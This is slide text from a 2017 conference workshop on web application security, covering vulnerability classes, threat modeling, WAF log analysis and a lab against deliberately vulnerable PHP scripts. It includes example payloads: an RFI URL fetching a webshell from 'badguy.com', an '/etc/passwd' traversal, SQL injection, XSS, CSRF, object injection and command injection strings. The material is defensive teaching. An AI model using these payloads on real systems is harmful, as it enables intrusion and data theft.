Security at the Edge
Altitude SF 2017
Jose Nazario
Jonathan Foote
Web attack overviewVulnerability and exploitation overview
Threat modelingOffensive thinking for web app defense
Reading WAF logsDetecting and preventing attacks in the wild
Attacking a web appApplying our lessons, poppin’ shells
Agenda
Src: Verizon 2017 Data Breach Investigations Report (DBIR)
Incident patterns leading to data breaches
Principal Security Architect
• Strategic security projects
• Application security
• Security architecture
Jonathan Foote
Sr Director of Security
• Sec Research
• WAF engineering
• SOC
Jose Nazario
Web Attack Overview
Common Web Application Vulnerabilities
SQL Injection (SQLi)
Cross Site Scripting
Cross Site Request Forgery
Local File Include/Directory Traversal
Remote File Include
Insufficient Authentication
Content Spoofing
Object Injection
Command injection
Remote File Include (RFI)
Instruct a web application to fetch remote code and execute
1. Code is under attacker’s control and choice
2. Code executes in the context of the server
Impact
• Possible information leak, data loss, or system access
Example
http://www.site.com/index.php?arg=http://badguy.com/webshell.php
Local File Include (LFI)
Instruct a web application to fetch files outside of document root
1. File is under attacker’s choice
2. Files must be accessible by server
Impact
• Possible information leak or data loss
Example
http://www.site.com/view.php?file=../../../etc/passwd
SQL Injection (SQLi)
Instruct a web application to execute arbitrary SQL comments because the
application failed to scrub external user input
1. SQL commands are under attacker’s choice
2. Any database executions occur with web applications rights
Impact
• Possible system access, data modification, information leak or data loss
Example
http://www.site.com/index.php?arg=1+OR+1=1
Cross Site Scripting (XSS)
A web server parrots back script code without scrubbing it. Script code may
be reflected (e.g. in a URI) or stored (e.g. in a comment).
1. Code is under attacker’s control and choice
2. Code executes in the context of the client
Impact
• Possible client-side information leak (e.g. cookies) or forgery (forged
requests)
Example
http://www.site.com/index.php?arg=<script>alert(“hi!”);</script>
Cross Site Request Forgery (CSRF)
Instruct a web client to send data to a foreign web form due to insufficient or weak
session checks
1. Data is under attacker’s choice
2. One client impersonates another
Impact
• Possible data modification, impersonation, information leak or data loss
Example<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my
Pictures!</a>
Often seen with PHP and Java applications
Serialized objects passed from client to server
Server de-serializes the object to gain information (e.g. shopping cart state)
Malicious client crafts an object and sends, server acts on malicious data
Example
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"
../../index.php";}
Object Injection
Often seen when an application uses command-line tools for help
User-supplied arguments passed to executable call
Insufficient scrubbing or character set enforcement
Example
http://server.com/tools/ping.php?ip=1.2.3.4+;+ls+-l
Command Injection
Apache Struts (CVE-2017-5638)
Command Injection Example
Examples: LFI/RFI, SQLi, command execution
Often due to string use directly from client
String concatenation often a root cause
No “scrubbing”
No enforcement of input features
Origin of Many Basic Bugs
Web application scanners (for remote apps)
Code scanners (for source-available apps)
Testing (tools and people)
Detecting Web Application Flaws
Threat modeling
Goal:Identify and reduce
security risks in a system
Threat modeling by example
Goal: Identify and reduce risks to an example web app
How: Lightweight threat modeling
1. Model the system
2. Brainstorm threats
3. Plan mitigations
4. Review model for completeness
Many other processes, all useful in their respective context.
Invite a diverse group commensurate with scope of activity
• Subject matter experts
• Security experts
• Customer advocates
• Program management
Represent factual system design and realistic future plans
Foster creativity and positive exploration of threats
Aim for practical, actionable results
Participants
Example system
haveibeenhacked.com
“Hackers continue to steal credentials databases from web service providers.
We amass stolen databases from the Dark Web and let you know if your
account info has been stolen.
Sign up for a free account to get alerts when your email appears in a
breached database!”
Features and design highlights
• Users sign up for an account and get messages when their email address
appears in a breached database
• Admins can login to the web app to manage user accounts
– Adding new entries to the breach database is done manually via ssh
• The app is behind Fastly CDN to help reduce server load
• Rails app with MySQL database backend
1. Model the system
Tool: Data flow diagramming
Trust boundaries?
DFD-0: haveibeenhacked.com
Other techniques
Hierarchical DFDs, scenario DFDs
Organization-specific modeling techniques
• Ex: UML
2. Brainstorm threats
Threat notebook
Keep a running list of threats
• Threat: what could go wrong
• Risk: impact x likelihood of exploitation
• Action: Next steps identifying and reducing risk
Write all ideas down; cull list later
Threat notebook
Tool: Asset list
Build a list of valuable resources and brainstorm threats to them
• Valuable things that you want to protect
• Things an attacker might want
• Stepping stones to an attack
Add threats to notebook as applicable
DFD-0: haveibeenhacked.comAsset List
Tool: STRIDE by Interaction
Spoofing - Falsifying identity system user
Tampering - Maliciously altering code or data
Repudiation - Denying that a malicious action was performed
Information disclosure - Unauthorized access to information
Denial of service - Denying service to legitimate users
Elevation of privilege - Gaining elevated access to resources or functionality
Ref: Microsoft “The STRIDE Threat Model”
DFD-0: haveibeenhacked.comThreat notebook
Other techniques
Attack trees
MITRE Common Attack Pattern Enumeration and Classification (CAPEC)
• Other MITRE schemas: CCE, CPE, CVE, CWE
US NIST NVD
“Elevation of Privilege” card game
OWASP guides
3. Plan mitigations
Planning mitigations
Fill out risk, actions in threat list
File tickets, plan and prioritize work
Regularly revisit analysis and prioritization
Risk analysis
Simple approach: Risk = Likelihood x Impact
Likelihood: probability of vulnerability being discovered and “exploited”
• Targeted attackers
• Opportunistic attackers
Impact: severity of consequences if it happens
• What’s the worst that could happen
Rely on security and systems experts
Action plans
Define how to reduce (or eliminate) risk
• Resolve known risks
• Provide systematic assurance that risk controlled over time
Threat: Exploit LFI to steal mailgun creds, access breach databases
Action plan:
1. Train code reviewers and use static analysis to ensure shell commands are properly escaped, dependencies are
up-to-date
2. Perform hands-on penetration test quarterly
3. Integrate web application firewall; plan config tuning as part of regular dev cycle
4. Ensure web server and databases are running as separate users with minimal privileges
5. Tune auditd and logging framework to alert on attacker probes
Resolving known risks
Fix
• Basic: Typically addressed in “bugfix” dev workflow
• Design: Requires new project effort
Mitigate
• Reduce impact or exploitability
Accept
• Get positive confirmation from stakeholders
4. Review model
Ensure model is complete
Make sure diagrams match design or implementation
Threats have been enumerated thoroughly and documented
Action plans slated for execution
• May include follow-up threat modeling activities
Completed threat notebook
Let’s take a quick 5
minute break ...
Reading WAF Logs
Fastly WAF and Request Logs
Two types of logs
• Request logs - typical Fastly logs
• WAF debug logs
– Multiple entries per request, sent when a rule matches
– Used in debugging, setup, etc
Request features
• Programming keywords (e.g. SQL, PHP)
• Encoded characters (%xx)
• Commands and filenames
Not everything is visible (e.g. POST bodies)
Repeated attempts from the same client
What to Look For
Service ID Fastly Service ID
Request ID Unique hash of the request, stable across all OWASP rule executions
Timestamp (UNIX epoch) Second-level granularity
Client IP E.g. “1.2.3.4”
Server name E.g. “www.fastly.com”
Method E.g. GET, POST, etc
URL E.g. “/cgi-bin/gs/view/sw_comment.php?id=1111111111111%27%20UNION%20SELECT%20CHAR(45|120”
...
Datacenter (using airport codes) E.g. LAX, typically geographically close to the client
WAF logged, blocked, error (booleans) Status codes, should never see error as true
Rule ID 9xxxxx is OWASP, 2xxxxx is application specific rules, 1xxxx is Fastly specific rules
Severity Set by the rule author
Message Short descriptive message about the rule
Anomaly score Used in OWASP to determine how suspicious a request is vs anomaly score thresholds, determines block
Things to look for
Who are the top attackers? What else did they do?
What attack types are the most prevalent?
Can you identify any attack tools?
What looks like a real attack? A false positive?
Demo
Actually Attacking a Web Server
What in the World?!
Purpose-built PHP scripts with obvious vulnerabilities
Failure to sanitize inputs
Vulnerabilities: local file include, remote file include, command
injection
Open source, MIT license
I created a Docker instance for you to use
The below is not intended to provide details on how to compromise other
people’s web sites and applications. The purpose is to inform developers
on how to protect themselves from malicious users and attackers. The
tools and methods listed should only be used on sites & applications
which you directly own or have permission in writing to work on.
Performing these methods on other people’s sites or applications would be
considered a crime and could land you with a criminal record or worse.
Disclaimer
1. User-controlled parameters
2. Passed in requests, POST data, etc
3. Used “as is” in a program
Root cause: Failure to enforce expectations
Resolution: Don’t just strip unwanted characters, ensure only
wanted characters are there
Unsanitized Inputs
Executes in the context of the web server
Rights, privileges, etc
Allows any user to directly interact with the server and the
network
Often happens when a web application needs to call an
external program
Command Injection
Happens when the server accesses files outside of what was expected
In PHP, included file is executed within web server scope
Local - read files locally
Remote - read files from remote servers
File Include Vulnerabilities
It’s not typically this easy, even with source
Basic attacker workflow:
1. Make a mental hypothesis of how the application might work
a. E.g. “I wonder if it’s appending this value to a command …”
2. Test the hypothesis
3. If consistent, continue attack/probes
4. If not, reformulate and try again
The Mental Attack Process
PHP’s open() call silently fetches remote files!
Also affects include()
Remote File Include (RFI)
http://192.168.18.240:8080/
Execute CMD-1 through CMD-6
Execute LFI-1 through LFI-12
Increasing level of difficulty
Can use a browser for some, but curl for
others
If you’re feeling adventurous try a web app
vuln scanner
Feel free to collaborate with others
Exercise
Wrapping Up
Threat
Modeling
Web Attack
Background
Web Attack
Practice
WAF Log
Analysis
Informs
Experience
Illuminates
Informs
Requires
Thanks
(BACKUP) Web Application Defenses
Web Application Exploit Victims
Target - other web application users
Attack other site visitors later
Target - web application contents or server
Attack the server via the application, steal the data
Web Application ThreatsCategory Example Mitigation
Availability Denial of Service Bandwidth
CPU
Memory
Packet filtering/scrubbing
Confidentiality Eavesdropping
Interception
TLS and certificate validation
Integrity SQLi
XSS
File inclusion (local, remote)
Application sandboxing
Patching against known vulnerabilities
Strict ACLs via permissions
Web application firewall (WAF)
WAF Defined - Web Application Firewall
Service that enforces a security policy between a client and a web application
Goal: disallow inputs that will violate security policy of web application
Approach:
• Behavioral - identify protocol violations
– Example: Rate limiting, header enforcement, etc
• Blacklist - identify known bad inputs by class or specific instance, block
– Example: Remote file include via a path parameter to index.php
• Whitelist - identify known inputs to the web application, allow only those
– Example: count parameter to index.php only accepts positive integers
WAF in the Security Stack
Vulnerability scanning - discover latent vulnerabilities, for fixing later
Network firewall - create and enforce network layer policies
Web proxy - possibly content caching, inbound content screening, client
visibility
Network IDS/IPS - packet-layer traffic inspection
WAF - application aware security policy enforcement
How is WAF different than DDoS?
DDoS
• Operates at Layer 7
• Protects against availabilitythreats which, if successful, can bring a site down
• Addresses application layer attacks
• Addresses network threats like SYN floods and bandwidth exhaustion attacks
WAF
• Operates at Layer 7
• Protects against known integritythreats which, if successful, can lead to website compromise
• Mitigates application-layer attacks which work by abusing web applications
Why WAF?
The consolidation of traffic over HTTPS necessitates a
web-aware control mechanism
• Application-aware inspection
• After SSL termination
Why a WAF?
Web application complexity
Endpoints, content-types, behaviors
Databases, web servers, APIs
Web traffic diversity and encoding confusion
UTF-8, ASCII, Unicode encodings
HTML, scripts, URIs and arguments
Can handle encrypted traffic (done after SSL termination)
How a Generation 1 WAF Works
1. Screens client requests inbound
2. Applies a ruleset to the request
– Regular expressions for known malicious inputs and paths
– Content scanners for heuristic analysis (e.g. libinjection, inline AV, etc)
– Protocol enforcement
– IP reputation list
3. Blocks bad clients, permits OK requests
Additional WAF Models
Generation 2 - Learns network, allows only
things it’s seen before (dynamic whitelist)
Generation 3 - Learns web applications, allows
only that which is expressly allowed
Limits of WAFs
“Virtual patching” is no complete replacement for correct
code and proper administration/installation (e.g. rights
management)
Limited by their rulesets - hence we have some generic
rules (e.g. OWASP) to look for broad classes of exploits
Regex-based, fundamental mismatch with complete
languages (e.g. SQL, PHP, etc) and their expressiveness
Why WAF?
Protect legacy applications - virtual patching
Generic ruleset protection to protect against
novel bugs and attacks
PCI Compliance
Example of Trivially WAF-Stoppable Attacks
WAF and DDoS Protection
WAF mainly focused on web application attacks and exploits
WAF can be used to detect and defeat Layer 7 DDoS however
• Numerous HTTP-layer DDoS attacks, e.g. Apache ByteRange bug
• Not bandwidth obvious (e.g. via “top talkers”)
• Requires inspection
WAF rules come with many DDoS protection means
Frequency of Web Application Vulnerabilities
Where Those Vulnerabilities Come From
Source: https://www.htbridge.com/news/web_application_security_trends_in_2013.html
Extra DBIR graphs
Src: Verizon 2017 Data Breach Investigations Report (DBIR)
DBIR: Breaches and incidents
Src: Verizon 2017 Data Breach Investigations Report (DBIR)
DBIR: Web app breakdown
Top Related